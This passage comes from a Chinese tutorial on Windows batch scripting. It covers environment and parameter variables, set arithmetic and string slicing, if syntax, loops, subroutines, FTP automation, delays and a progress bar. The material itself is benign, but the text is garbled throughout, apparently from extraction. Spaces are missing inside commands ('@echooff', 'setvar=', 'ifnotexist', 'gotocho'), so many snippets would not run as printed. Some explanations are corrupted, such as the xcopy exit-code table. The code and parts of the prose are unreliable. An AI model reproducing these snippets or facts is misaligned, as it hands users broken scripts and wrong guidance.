%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值: x86 或 IA64基于Itanium
%PROCESSOR_IDENTFIER% 系統 返回處理器說明。
%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。
%PROCESSOR_REVISION% 系統 返回處理器的版本號。
%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系統 返回包含 Windowsserver operating system 根目錄(即系統根目錄)的驅動器。
%SYSTEMROOT% 系統 返回 Windowsserveroperating system 根目錄的位置。
%TEMP% 和 %TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
%TIME% 系統 返回當前時間。使用與 time/t 命令相同的格式。由 Cmd.exe 生成。有關time 命令的詳細信息,請參閱 Time。
%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。
%USERNAME% 本地 返回當前登錄的用戶的名稱。
%USERPROFILE% 本地 返回當前用戶的配置文件的位置。
%WINDIR% 系統 返回操作系統目錄的位置。這么多系統變量,我們如何知道他的值是什么呢?

在CMD 里輸入 echo%WINDIR%
這樣就能顯示一個變量的值了!
舉個實際例子,比如我們要復制文件到當前帳號的啟動目錄里就可以這樣
copyd:\1.bat "%USERPROFILE%\「開始」菜單\程序\啟動\"
%USERNAME% 本地 返回當前登錄的用戶的名稱。 注意有空格的目錄要用引號引起來

另外還有一些系統變量,他們是代表一個意思,或者一個操作!
他們分別是%0%1%2%3 %4%5......一直到%9 還有一個%*
%0 這個有點特殊,有幾層意思,先講%1-%9的意思.
%1 返回批處理的第一個參數%2 返回批處理的第二個參數
%3-%9依此推類
反回批處理參數?到底怎么個返回法?
我們看這個例子,把下面的代碼保存為 test.BAT然后放到C盤下
@echooff
echo%1%2%3%4
echo%1
echo%2
echo%3
echo%4
進入CMD,輸入cdc:\
然后輸入 test.bat 我是第一個參數 我是第二個參數 我是第三個參數 我是第四個參數
注意中間的空格,我們會看到這樣的結果:
我是第一個參數 我是第二個參數 我是第三個參數 我是第四個參數
我是第一個參數
我是第二個參數
我是第三個參數
我是第四個參數
對比下代碼,%1就是” 我是第一個參數” %2就是” 我是第二個參數”
怎么樣理解了吧!
這些%1和%9可以讓批處理也能帶參數運行,大大提高批處理功能!
還有一個%* 他是什么呢?他的作用不是很大,只是返回參數而已,不過他是一次返回全部參數的值,不用在輸入%1 %2來確定一個個的
例子
@echooff
echo%*
同樣保存為test.bat 放到C盤
進入CMD,輸入cdc:\
然后輸入 test.bat 我是第一個參數 我是第二個參數 我是第三個參數 我是第四個參數
可以看到他一次把全部參數都顯示出來了
好現在開始講那個比較特殊的%0%0 這個不是返回參數的值了,他有兩層意思!
第一層意思:返回批處理所在絕對路徑
例子:
@echooff
echo%0
pause
保存為test.BAT放在桌面運行,會顯示如下結果
"C:\Documentsand Settings\Administrator\桌面\test.bat"
他把當前批處理執行的所在路經打印出來了,這就是返回批處理所在絕對路徑的意思
第二層意思:無限循環執行BAT
例子:
@echooff
net user
%0
保存為BAT執行,他就會無限循環執行net user這條命令,直到你手動停止.
龍卷風補充: 其實%0就是第一參數%1前面那個參數, 當然就是批處理文件名 ( 包括路徑)。
以上就是批處理中的一些系統變量,另外還有一些變量,他們也表示一些功能,
FOR命令中的那些就是,FOR變量已經說過,就不講了.
?

二、自定義變量

故名思意,自定義變量就是由我們來給他賦予值的變量要使用自定義變量就得使用set命令了,看例子.

@echooff setvar=我是值 echo%var% pause

保存為BAT執行,我們會看到CMD 里返回一個 "我是值"
var為變量名,=號右變的是要給變量的值
這就是最簡單的一種設置變量的方法了

如果我們想讓用戶手工輸入變量的值,而不是在代碼里指定,可以用用 set命令的 /p 參數。例子:

@echooff set /p var=請輸入變量的值 echo%var% pause

var變量名 =號右邊的是提示語,不是變量的值
變量的值由我們運行后自己用鍵盤輸入!
好了批處理的變量先介紹到這,關于 set命令,下次再寫個專門的文章吧。

?

?

第五章 set命令詳解

?

一、用set命令設置自定義變量 二、用set命令進行簡單計算 三、用set命令進行字符串處理 1、字符串替換 2、字符串截取

?

一、用set命令設置自定義變量

顯示、設置或刪除 cmd.exe 環境變量。
SET [variable=[string]]
variable 指定環境變量名。
string 指定要指派給變量的一系列字符串。
要顯示當前環境變量,鍵入不帶參數的 SET。
SET 命令不允許變量名含有等號。

例子:

@echooff setvar=我是值 echo%var% pause

請看 setvar=我是值 ,這就是 BAT直接在批處理中設置變量的方法!
set 是命令 var是變量名 =號右邊的"我是值"是變量的值
在批處理中我們要引用這個變就把var變量名用兩個%(百分號)擴起來,如%var%
SET還可以提供一個交互界面,讓用戶自己輸入變量的值,然后我們在來根據這個值來做相應
操作,現在我就來說說 SET的這種語法,只需要加一個"/P"參數就可以了!
SET /P variable=[promptString]
例子:

@echo off set /p var=請輸入變量的值: echo 您輸入了 %var% ~_~ pause

set /p 是命令語法 var是變量名 =號右邊的"請輸入變量的值: ",這個是提示語,不是變量的值了!
運行后,我們在提示語后面直接輸入 1,就會顯示一行您輸入了 1 ~_~
好了,先回顧到這,現在講 SET其他功能
使用 set /?查看 SET的幫助我們發現 SET除了我上面講的
SET [variable=[string]]
SET /P variable=[promptString]
這兩種語法外,還有如下幾種語法:
SET /A expression
環境變量替換已如下增強:
%PA TH:str1=str2%
%PA TH:~10,5%
%PA TH:~-10%
%PA TH:~0,-2%
這機種語法有什么用處呢?下面我們來一個個講解他們!
?

二、用 set命令進行簡單計算

語法: SET /A expression
/A 命令行開關指定等號右邊的字符串為被評估的數字表達式。該表達式
評估器很簡單并以遞減的優先權順序支持下列操作:
() -分組
! ~ - -一元運算符
* / % -算數運算符
+ - -算數運算符
<< >> -二進制邏輯移位
& -二進制按位“ 與”
^ -二進制按位“ 異”
| -二進制按位“ 或”
= *= /= %= += -= -算數賦值
&= ^= |= <<= >>= -二進制運算賦值
, -表達式分隔符上面這些是系統幫助里的內容,看著是不是有點暈,沒關系我來簡單解釋一下:
set的/A參數就是讓SET可以支持數學符號進行加減等一些數學運算!
現在開始舉例子介紹這些數學符號的用法:
例:

@echooff set/pinput=請輸入計算表達式: set/a var=%input% echo 計算結果: %input%=%var% pause

上面的例子是龍卷風設計的,很好用喲,請看下面幾個運算過程:
注意: DOS計算只能精確到整數
請輸入計算表達式: 1+9+20+30-10
計算結果: 1+9+20+30-10=50
請按任意鍵繼續.. .
請輸入計算表達式: 10/3
計算結果: 10/3=3 #DOS計算精確到整數,小數舍了。
請按任意鍵繼續.. .
請輸入計算表達式: -100+62
計算結果: -100+62=-38
請按任意鍵繼續.. .
請輸入計算表達式: 100%3 #求余數
計算結果: 100%3=1
請按任意鍵繼續.. .
請輸入計算表達式: (25+75)*2/(15+5)
計算結果: (25+75)*2/(15+5)=10
請按任意鍵繼續.. .
請輸入計算表達式: 1234567890*9876543210
無效數字。數字精確度限為 32 位。
計算結果: 1234567890*9876543210=
請按任意鍵繼續.. .
注意:上面的計算過程顯示, DOS計算只能精確到32位,這個32位是指二進制32位,
其中最高位為符號位( 0為正, 1為負),低位31位為數值。
31 個 1 換成十進制為 2147483647,所以 DOS 計算的有效值范圍是-2147483647 至2147483647,超出該數值范圍時計算出錯,
請看下面的計算過程:請輸入計算表達式: 2147483647-1 #最大值減1,值有效計算結果: 2147483647-1=2147483646
請按任意鍵繼續.. .
運行set /aa=1+1,b=2+1,c=3+1后會顯示一個 4,但我們用
echo%a%%b%%c%后看結果,會發現其他數學運算也有效果!,這就是"逗"號的作用!
有時候我們需要直接在原變量進行加減操作就可以用這種語法
set/a var+=1 這樣的語法對應原始語法就是 set/avar =%var%+1
都是一樣的結果,在原變量的值上在進行數學運算,不過這樣寫簡單一點
再來一個:
set/a var*=2
其他都這么用,只要幫助里有這個語法!
另外還有一些用邏輯或取余操作符,這些符號,按照上面的使用方法會報錯的
比如我們在CMD 里輸入set/a var=1& 1"與運算",他并不會顯示為 1,而是報錯,
為什么?對于這樣的"邏輯或取余操作符",我們需要把他們用雙引號引起來,也可以用轉義字符^,
看例子
set/a var=1"&" 1 這樣結果就顯示出來了,其他邏輯或取余操作符用法
set/a var=1"+" 1 異運算
set/a var=1"%" 1 取模運算
set/a var=3"<<" 2 左移位運算, 3的二進制為11, 左移2位為1100, 換成十進制就是12,
自行驗證
set/a var=4">>" 2右移位運算, 4的二進制為 100,右移動2位為1,結果為 1
還有幾個數學不太行,搞不清楚了....不列出來了,
龍卷風補充:凡是按位計算均需換算成二進制,下面行中的符號均針對二進制
這些符號也可以用&=^= |=<<= >>= 這樣的簡單用法如
set/a var"&="1 等于 set/avar =%var%"&" 1 注意引號
思考題:求2的n次方
答案:
@echooff
set/pn=請輸入 2的幾次方:
set/a num=1^<^<n
echo%num%
pause
?

三、用set命令進行字符串處理

1、字符串替換
好了,符號說到這,現在說%PA TH:str1=str2%
上面語法的意思就是:將字符串變量%PA TH%中的 str1替換為 str2這個是替換變量值的內容,看例子
@echooff
seta= bbs.verybat. cn
echo 替換前的值: "%a%"
setvar=%a:=%
echo 替換后的值: "%var%"
pause
運行顯示:(龍卷風添加)
替換前的值: " bbs.verybat.cn"
替換后的值: "bbs.verybat.cn"
對比一下,我們發現他把變量%a%的空格給替換掉了,從這個例子,我們就可以發現
%PA TH:str1=str2%這個操作就是把變量%PA TH%的里的str1全部用str2替換
比如我們把上面的例子改成這樣
@echooff
seta=bbs.verybat.cn
echo 替換前的值: "%a%"
setvar=%a:.=傷腦筋%
echo 替換后的值: "%var%"
pause
運行顯示:
替換前的值: "bbs.verybat.cn"
替換后的值: "bbs傷腦筋 verybat傷腦筋cn"
解釋set var=%a:.=傷腦筋%
set是命令 var是變量名 字 a是要進行字符替換的變量的值,"."為要替換的值,
"傷腦筋"為替換后的值!
執行后就會把變量%a%里面的"."全部替換為"傷腦筋"
這就是set的替換字符的很好的功能! 替換功能先講到這,下面將字符串截取功能
2、字符串截取
**********************************************
截取功能統一語法格式為: %a:~[m[,n]]%
**********************************************
方括號表示可選, %為變量標識符, a為變量名, 不可少, 冒號用于分隔變量名和說明部分,
符號~可以簡單理解為“ 偏移” 即可, m為偏移量(
缺省為0), n為截取長度(缺省為全部)
%PA TH:~10,5% 這個什么意思,看例子:截取功能例子1:
@echooff
seta=bbs.verybat.cn
setvar=%a:~1,2%
echo%var%
pause
執行后,我們會發現只顯示了"bs"兩個字母,我們的變量%a%的值不是為 bbs.verybat.cn嗎?
怎么只顯示了第2個字母和第3個字母"bs",分析一結果我們就可以很容易看出
%PA TH:~10,5%就是顯示變量PATH里從11位(偏移量 10)開始的5個字符!
分析set var=%a:~1,2%
set是命令, var是變量值, a要進行字符操作的變量, "1"從變量"a"第幾位開始顯示, "2"
表示顯示幾位。
合起來就是把變量a的值從第 2位(偏移量 1)開始,把 2個字符賦予給變量 var
這樣應該明白了吧~
其他兩種語法
%PA TH:~-10%
%PA TH:~0,-2%
他們也是顯示指定變量指定幾位的值的意思
%PA TH:~-10% 看例子
截取功能例子2:
@echooff
seta=bbs.verybat.cn
setvar=%a:~-3%
echo%var%
pause
運行結果: .cn
這個就是把變量a倒數 3位的值給變量 VAR
當然我們也可以改成這樣
截取功能例子3:
@echooff
seta=bbs.verybat.cn
setvar=%a:~3%
echo%var%
pause
運行顯示: .verybat.cn
這個就是把變量a的從第 3位開始后面全部的值給變量 VAR
%PA TH:~0,-2% 例子截取功能例子4:
@echooff
seta=bbs.verybat.cn
setvar=%a:~0,-3%
echo%var%
pause
執行后,我們發現顯示的是"bbs.verybat",少了".cn"
從結果分析,很容易分析出,這是把變量a的值從 0位開始,
到倒數第三位之間的值全部賦予給var
如果改成這樣
截取功能例子5:
@echooff
seta=bbs.verybat.cn
setvar=%a:~2,-3%
echo%var%
pause
運行顯示: s.verybat
那么他就是顯示從第3位(偏移量2)開始減去倒數三位字符的值,并賦予給變量var
講得好,例子就是說明問題,為便于記憶,龍卷風小節如下:
a=bbs.verybat.cn
%a:~1,2% =“ bs” 偏移量1,從第二位開始向右取 2位
%a:~-3% =“ .cn” 偏移量負 3,即倒數3位(也可理解為留下右邊3位),右取全部
%a:~3% =“ .verybat.cn” 偏移量 3(也可理解為去掉左邊3位),右取全部
%a:~0,-3% =“ bbs.verybat” 偏移量 0,右取長度至負3,即倒數 3位
%a:~2,-3% =“ s.verybat” 偏移量 2,右取長度至負3,即倒數 3位
**********************************************
所以,截取功能統一語法格式為: %a:~[m[,n]]%
**********************************************
方括號表示可選, %a%為變量名,不可少,冒號用于分隔變量名和說明部分,符號~可以
簡單理解為“ 偏移” 即可, m為偏移量(缺省為 0), n
為截取長度(缺省為全部)
上面所述用法其實相當于vbs函數 mid、 left、 right
%a:~0,n% 相當于函數 left(a,n) 取左邊n位
%a:~-m% 相當于函數right( a,m) 取右邊 m位
%a:~m,n% 相當于函數 mid(a,m+1,n) 從m+1位開始取n位
%a:~m,-n% 相當于函數 mid(a,m+1,len(a)-m-n)
%a:~m % 相當于函數 mid(a,m+1,len(a)-m) 或者 right(a,len(a)-m)
思考題目:輸入任意字符串,求字符串的長度參考答案:
@echooff
set/pstr=請輸入任意長度的字符串:
echo 你輸入了字符串:"%str%"
if notdefined str(pause&goto:eof)
setnum=0
:len
set/anum+=1
setstr=%str:~0,-1%
if definedstrgotolen
echo 字符串長度為: %num%
pause
好了set的一些用法,就介紹到這了,希望對各位有所幫助,時間不早睡覺Zz....

?

?

第六章 if 命令講解

?

第一種用法:IF [NOT] ERRORLEVEL number command
第二種用法:IF [NOT] string1==string2 command
第三種用法:IF [NOT] EXIST filename command
第四種用法:IF增強的用法

在CMD使用IF/?打開IF的系統幫助(自己看我就不全部列出來了),我們會發現IF有3種基本的用法!
執行批處理程序中的條件處理。
IF[NOT]ERRORLEVELnumber command
IF[NOT]string1==string2command
IF[NOT]EXISTfilename command
NOT 指定只有條件為 false 的情況下, WindowsXP 才應該執行該命令。
ERRORLEVELnumber 如果最后運行的程序返回一個等于或大于
指定數字的退出編碼,指定條件為 true。
string1==string2 如果指定的文字字符串匹配,指定條件為 true。
EXISTfilename 如果指定的文件名存在,指定條件為 true。command 如果符合條件,指定要執行的命令。
如果指定的條件為 FALSE,命令后可跟一個執行 ELSE關鍵字后的命令的 ELSE 命令。
ELSE 子句必須在 IF 之后出現在同一行上。例如:
IF EXIST filename (
del filename
) ELSE (
echofilename missing
)

第一種用法: IF [NOT] ERRORLEVEL number command
這個用法的基本做用是判斷上一條命令執行結果的代碼,以決定下一個步驟.
一般上一條命令的執行結果代碼只有兩結果,"成功"用0表示 "失敗"用 1表示.
舉個例子:
@echooff
net user
IF %ERRORLEVEL% ==0 echonet user 執行成功了!
pause
這是個簡單判斷上條命令是否執行成功.
細心的朋友可能會發現,這個用法和幫助里的用法不太一樣,按照幫助里的寫法"IF
%ERRORLEVEL% ==0 echonetuser 執行成功了! "這一句
代碼應該寫成:IF ERRORLEVEL 0echonet user 執行成功了!
那為什么我要寫成這樣呢?各位自己把代碼改掉執行后,就會發現錯誤了!
用這種語法,不管你的上面的命令是否執行成功,他都會認為命令成功了,不知道是 BUG還是本人理解錯誤...
補充:這不是 bug,而是 if errorlevel 語句的特點:當使用 if errorlevel 0 …… 的句式時,
它的含義是:如果錯誤碼的值大于或等于0的時候,將執行某個操作;
當使用 if %errorlevel%==0 …… 的句式時,它的含義是:如果錯誤碼的值等于0的時候,將執行某操作。
因為這兩種句式含義的差別,如果使用前一種句式的時候,錯誤碼語句的排列順序是從大到小排列
%ERRORLEVEL% 這是個系統變量,返回上條命令的執行結果代碼! "成功"用0表示 "失敗
"用 1表示. 當然還有其他參數,用的時候基本就這兩數字.
一般上一條命令的執行結果代碼只有兩結果,"成功"用0表示 "失敗"用 1表示
這只是一般的情況, 實際上, errorlevel返回值可以在 0~255之間,
比如, xcopy默認的errorlevel值就有5個,分別表示5種執行狀態:退出碼 說明
0 文件復制沒有錯誤。
1 if errorlevel2 echo。
2 用戶按 CTRL+C 終止了 xcopy。
4 出現了初始化錯誤。沒有足夠的內存或磁盤空間, 或命令行上輸入了無效的驅動器名稱或語法。
5 出現了磁盤寫入錯誤。
要判斷上面xcopy命令的 5種退出情況,應寫成:
if errorlevel 5 echo 出現了磁盤寫入錯誤
if errorlevel 4 echo 出現了初始化錯誤
if errorlevel 2 echo 用戶按 CTRL+C 終止了 xcopy
if errorlevel 1 echo if errorlevel 2 echo
if errorlevel 0 echo 文件復制沒有錯誤。
才能正確執行。
補充完畢。
再舉幾個例子給新手理解
@echooff
net usertest
IF%ERRORLEVEL% ==1 echonet user 執行失敗了!
pause
這個是判斷上一條命令是否執行失敗的
@echooff
set/pvar=隨便輸入個命令:
%var%
if %ERRORLEVEL% ==0 gotoyes
gotono
:yes
echo!var! 執行成功了
pause
exit
:no
echo 基本上執行失敗了..
pause這個是根據你輸入的命令,自動判斷是成功還是失敗了!
在來一個簡化版的
@echooff
set/pvar=隨便輸入個命令:
%var%
if %ERRORLEVEL% ==0 (echo%var%執行成功了) ELSE echo%var%執行失敗了!
pause
else后面寫上執行失敗后的操作!
當然我門還可以把if else這樣的語句分成幾行寫出來,使他看上去好看點...
@echooff
set/pvar=隨便輸入個命令:
%var%
if %ERRORLEVEL% ==0 (
echo!var! 執行成功了
)ELSE(
echo 基本上執行失敗了..
)
pause
這里介紹的兩種簡寫對 IF的三種語法都可以套用,不單單是在 IF [NOT] ERRORLEVEL numbercommand 這種法上才能用

第二種用法: IF[NOT]string1==string2 command
這個呢就是用來比較變量或者字符的值是不是相等的.
例子
@echooff
set/pvar=請輸入第一個比較字符:
set/pvar2=請輸入第二個比較字符:
if %var%==%var2%(echo 我們相等)ELSE echo 我們不相等
pause
上面這個例子可以判斷你輸入的值是不是相等,但是你如果輸入相同的字符,但是如果其中一個后面打了一個空格,
這個例子還是會認為相等,如何讓有空格的輸入不相等呢?我們在比較字符上加個雙引號就可以了.
@echooffset/pvar=請輸入第一個比較字符:
set/pvar2=請輸入第二個比較字符(多輸入個空格試試):
if"%var%"=="%var2%"(echo 我們相等)ELSEecho 我們不相等
pause
第三種用法: IF[NOT]EXISTfilenamecommand
這個就是判斷某個文件或者文件夾是否存在的語法
例子
@echooff
ifexist"c:\test"(echo 存在文件)ELSEecho 不存在文件
pause
判斷的文件路徑加引號是為了防止路徑有空格,如果路徑有空格加個雙引號就不會出現判斷出錯了!
這個語法沒什么太多的用法,基本就這樣了,就不多介紹了.
另外我們看到每條IF用法后都有個[NOT]語句,這啥意思?其他加上他的話,就表示先判斷我們的條件不成立時,
沒加他默認是先判斷條件成立時,比如上面這個例子
@echooff
ifnotexist"c:\test"(echo 存在文件)ELSEecho 不存在文件
pause
加個NOT,執行后有什么結果,如果你的C盤下根本就沒c:\test,他還是會顯示"存在文件",這就表示了加了NOT就
會先判斷條件失敗!懂了吧,上面例子改成這樣就正確了!
@echooff
ifnotexist"c:\test"(echo 不存在文件)ELSEecho 存在文件
pause

第四種用法: IF增強的用法
IF[/I]string1compare-opstring2command
IFCMDEXTVERSIONnumbercommand
IFDEFINEDvariablecommand
后面兩個用法,我不做介紹,因為他們和上面的用法表示的意義基本一樣,只簡單說說 IF[/I]
string1compare-opstring2command這個語句
在判斷字符時不區分字符的大小寫。CMDEXTVERSION 條件的作用跟 ERRORLEVEL 的一樣,
除了它是在跟與命令擴展名有關聯的內部版本號比較。第一個版本是 1。
每次對命令擴展名有相當大的增強時,版本號會增加一個。
命令擴展名被停用時, CMDEXTVERSION 條件不是真的。
如果已定義環境變量, DEFINED 條件的作用跟 EXISTS 的一樣,
除了它取得一個環境變量,返回的結果是 true。
@echooff
if a ==A (echo 我們相等)ELSEecho 我們不相等
pause
執行后會顯示:我們不相等
@echooff
if /i a ==A(echo 我們相等) ELSE echo 我們不相等
pause
加上/I不區分大小寫就相等了!
最后面還有一些用來判斷數字的符號
EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ - 小于或等于
GTR- 大于
GEQ - 大于或等于
我就舉一個例子,大家都懂數學...不講多了
@echooff
set/pvar=請輸入一個數字:
if %var%LEQ 4(echo 我小于等于4)ELSEecho 我不小于等于4
pause

?

第七章 DOS編程高級技巧

?

  一、界面設計
  二、if…else…條件語句
  三、循環語句
  四、子程序
  五、用ftp命令實現自動下載
  六、用7-ZIP實現命令行壓縮和解壓功能
  七、調用VBScript程序
  八、將批處理轉化為可執行文件
  九、時間延遲
  1、利用ping命令延時
  2、利用for命令延時
  3、利用vbs延遲函數,精確度毫秒,誤差1000毫秒內
  4、僅用批處理命令實現任意時間延遲,精確度10毫秒,誤差50毫秒內
十、模擬進度條
  十一、特殊字符的輸入及應用
  十二、隨機數(%random%)的應用技巧
  十三、變量嵌套 與 命令嵌套

?

一、交互界面設計沒啥說的,看看高手設計的菜單界面吧:
@echooff
cls
title 終極多功能修復
:menu
cls
color0A
echo.
echo ==============================
echo 請選擇要進行的操作,然后按回車
echo ==============================
echo.
echo 1.網絡修復及上網相關設置,修復IE,自定義屏蔽網站
echo.
echo 2.病毒專殺工具,端口關閉工具,關閉自動播放
echo.
echo 3.清除所有多余的自啟動項目,修復系統錯誤
echo.
echo 4.清理系統垃圾,提高啟動速度
echo.
echo Q.退出
echo.
echo.
:cho
setchoice=
set/pchoice= 請選擇:
IFNOT"%choice%"=="" SETchoice=%choice:~0,1%
if /i"%choice%"=="1" goto ip
if /i"%choice%"=="2" gotosetsave
if /i"%choice%"=="3" gotokaiji
if /i"%choice%"=="4" gotoclean
if /i"%choice%"=="Q" gotoendd
echo 選擇無效,請重新輸入
echo.
gotocho
只要學完本教程前面的章節,上面的程序應該能看懂了。

二、 if…else…條件語句
前面已經談到, DOS條件語句主要有以下形式
IF[NOT]ERRORLEVELnumber command
IF[NOT]string1==string2command
IF[NOT]EXISTfilename command
增強用法: IF[/I]string1 compare-opstring2command增強用法中加上/I就不區分大小寫了!
增強用法中還有一些用來判斷數字的符號:
EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ- 小于或等于
GTR- 大于
GEQ - 大于或等于
上面的 command命令都可以用小括號來使用多條命令的組合,包括 else子句,組合命令中
可以嵌套使用條件或循環命令。
例如:
IFEXISTfilename(
del filename
)ELSE(
echofilenamemissing
)
也可寫成:
if existfilename (del filename) else (echofilename missing)
但這種寫法不適合命令太多或嵌套命令的使用。

三、循環語句
1、指定次數循環
FOR/L%variableIN (start,step,end)DOcommand [command-parameters]
組合命令:
FOR/L%variableIN (start,step,end)DO(
Command1
Command2
……
)2
、對某集合執行循環語句。
FOR%%variable IN(set)DOcommand [command-parameters]
%%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件??梢允褂猛ㄅ浞?。
command 對每個文件執行的命令,可用小括號使用多條命令組合。FOR/R[[drive:]path] %variable IN(set)DOcommand [command-parameters]
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 后沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。
同前面一樣, command可以用括號來組合:
FOR/R[[drive:]path] %variable IN(set)DO(
Command1
Command2
……
commandn
)
3、條件循環
利用goto語句和條件判斷, dos可以實現條件循環,很簡單啦,看例子:
@echooff
setvar=0
rem************循環開始了
:continue
set/avar+=1
echo 第%var%此循環
if %var%lss100 gotocontinue
rem************循環結束了
echo 循環執行完畢
pause

四、子程序
在批處理程序中可以調用外部可運行程序, 比如exe程序, 也可調用其他批處理程序, 這些
也可以看作子程序,但是不夠方便,如果被調用的程
序很多,就顯得不夠簡明了,很繁瑣。
在windowsXP中, 批處理可以調用本程序中的一個程序段, 相當于子程序, 這些子程序
一般放在主程序后面。
子程序調用格式:
CALL:label arguments
子程序語法:
:label
command1
command2...
commandn
goto:eof
傳至子程序的參數在 call語句中指定,在子程序中用%1、 %2至%9的形式調用,而子程序
返回主程序的數據只需在調用結束后直接引用就可以了
,當然也可以指定返回變量,請看下面的例子。
子程序例1:
@echooff
call :sub return 你好
echo 子程序返回值: %return%
pause
:sub
set%1=%2
goto:eof
運行結果:你好
子程序例2:設計一個求多個整數相加的子程序
@echooff
setsum=0
call :sub sum10 2035
echo 數據求和結果: %sum%
pause
:sub
rem 參數1為返回變量名稱
set/a %1=%1+%2
shift/2
if not"%2"=="" goto sub
goto:eof
運行結果: 65
在win98系統中, 不支持上面這種標號調用, 須將子程序單獨保存為一個批處理程序, 然后
調用。

五、用ftp命令實現自動下載
ftp是常用的下載工具, ftp界面中有 40多個常用命令,自己學習了,不介紹了。這里介紹
如何用dos命令行調用 ftp命令,實現ftp自動登錄,并上傳下載,并自動退出ftp程序。
其實可以將ftp命令組合保存為一個文本文件,然后用以下命令調用即可。
ftp -n-s:[[drive:]path]filename
上面的filename 為ftp命令文件,包括登錄IP地址,用戶名、密碼、操作命令等
例:
open90.52.8.3 #打開ip
useriware #用戶為iware
password8848 #密碼
bin #二進制傳輸模式
prompt
cdtmp1 #切換至iware用戶下的tmp1目錄
pwd
lcdd:\download #本地目錄
mget* #下載tmp1目錄下的所有文件
bye #退出ftp

六、用7-ZIP實現命令行壓縮和解壓功能
語法格式:(詳細情況見7-zip 幫助文件,看得頭暈可以跳過,用到再學)
7z<command>[<switch>...]<base_archive_name>[<arguments>...]
7z.exe的每個命令都有不同的參數<switch>,請看幫助文件
<base_archive_name>為壓縮包名稱
<arguments>為文件名稱,支持通配符或文件列表
其中, 7z是至命令行壓縮解壓程序7z.exe, <command>是7z.exe包含的命令,列舉如下:
a: Addsfilestoarchive. 添加至壓縮包
a命令可用參數:
-i(Include)
-m(Method)
-p(SetPassword)
-r(Recurse)
-sfx(createSFX)
-si(useStdIn)
-so(useStdOut)
-ssw(Compresssharedfiles)
-t(Typeofarchive)
-u(Update)
-v(Volumes)
-w(WorkingDir)
-x(Exclude)b: Benchmark
d: Deletes files fromarchive. 從壓縮包中刪除文件
d命令可用參數:
-i (Include)
-m(Method)
-p(SetPassword)
-r(Recurse)
-u(Update)
-w(Working Dir)
-x(Exclude)
e: Extract解壓文件至當前目錄或指定目錄
e命令可用參數:
-ai (Include archives)
-an(Disable parsing ofarchive_name)
-ao(Overwrite mode)
-ax(Exclude archives)
-i (Include)
-o(SetOutput Directory)
-p(SetPassword)
-r(Recurse)
-so(useStdOut)
-x(Exclude)
-y(AssumeYes onall queries)
l: Lists contents of archive.
t: Test
u: Update
x: eXtractwith full paths用文件的完整路徑解壓至當前目錄或指定目錄
x命令可用參數:
-ai (Include archives)
-an(Disable parsing ofarchive_name)
-ao(Overwrite mode)
-ax(Exclude archives)
-i (Include)
-o(SetOutput Directory)
-p(SetPassword)
-r(Recurse)
-so(useStdOut)
-x(Exclude)
-y(AssumeYes onall queries)

七、調用VBScript程序
使用 Windows 腳本宿主, 可以在命令提示符下運行腳本。 CScript.exe 提供了用于設置腳本
屬性的命令行開關。
用法: CScript 腳本名稱 [腳本選項...][腳本參數...]
選項:
//B 批模式:不顯示腳本錯誤及提示信息
//D 啟用 ActiveDebugging
//E:engine 使用執行腳本的引擎
//H:CScript 將默認的腳本宿主改為 CScript.exe
//H:WScript 將默認的腳本宿主改為 WScript.exe (默認)
//I 交互模式(默認,與 //B 相對)
//Job:xxxx 執行一個 WSF 工作
//Logo 顯示徽標(默認)
//Nologo 不顯示徽標:執行時不顯示標志
//S 為該用戶保存當前命令行選項
//T:nn 超時設定秒:允許腳本運行的最長時間
//X 在調試器中執行腳本
//U 用 Unicode 表示來自控制臺的重定向 I/O
“腳本名稱 ” 是帶有擴展名和必需的路徑信息的腳本文件名稱, 如
d:\admin\vbscripts\chart.vbs。
“ 腳本選項和參數” 將傳遞給腳本。腳本參數前面有一個斜杠 (/)。每個參數都是可選的;
但不能在未指定腳本名稱的情況下指定腳本選項。
如果未指定參數,則 CScript 將顯示 CScript 語法和有效的宿主參數。

八、將批處理轉化為可執行文件:
由于批處理文件是一種文本文件, 任何人都可以對其進行隨便編輯, 不小心就會把里面的命
令破壞掉,所以如果將其轉換成.com格式的可執行
文件,不僅執行效率會大大提高,而且不會破壞原來的功能,更能將優先級提到最高。
Bat2Com就可以完成這個轉換工作。
小知識:在DOS環境下,可執行文件的優先級由高到低依次為.com>.exe>.bat>.cmd,即如
果在同一目錄下存在文件名相同的這四類文件,當只
鍵入文件名時, DOS執行的是name.com, 如果需要執行其他三個文件, 則必須指定文件的
全名,如name.bat。
這是一個只有5.43K大小的免費綠色工具,可以運行在純DOS或DOS窗口的命令行中,用法: Bat2Com
FileName, 這樣就會在同一目錄下生成一個名為 FileNme.com的可執行文件, 執行的效果和
原來的.bat文件一樣。

九、時間延遲
本條引用[英雄]教程
什么是時間延遲?顧名思義,就是執行一條命令后延遲一段時間再進行下一條命令。
1、利用ping 命令延時
例:
@echooff
echo 延時前!
ping /n 3127.0.0.1>nul
echo 延時后!
pause
解說: 用到了 ping命令的“ /n”參數, 表示要發送多少次請求到指定的ip。 本例中要發送 3
次請求到本機的ip
( 127.0.0.1)。 127.0.0.1可簡寫為 127.1?!?>nul” 就是屏蔽掉 ping命令所顯示的內容。
2、利用for命令延時
例:
@echooff
echo 延時前!
for/l %%iin (1,1,5000)doecho%%i>nul
echo 延時后!
pause
解說:原理很簡單,就是利用一個計次循環并屏蔽它所顯示的內容來達到延時的目的。

十、模擬進度條
下面給出一個模擬進度條的程序。如果將它運用在你自己的程序中,可以使你的程序更漂亮。
@echooff
mode concols=113 lines=15 &color 9f
cls
echo.
echo 程序正在初始化...
echo.
echo ┌───────────────────────────────────
───┐
set/p= ■<nul
for/L%%iin (11 38)do set/pa=■<nul&ping /n 1127.0.0.1>nul
echo 100%%
echo └───────────────────────────────────
───┘pause
解說:“ set/pa=■<nul” 的意思是: 只顯示提示信息“ ■”且不換行, 也不需手工輸入任何
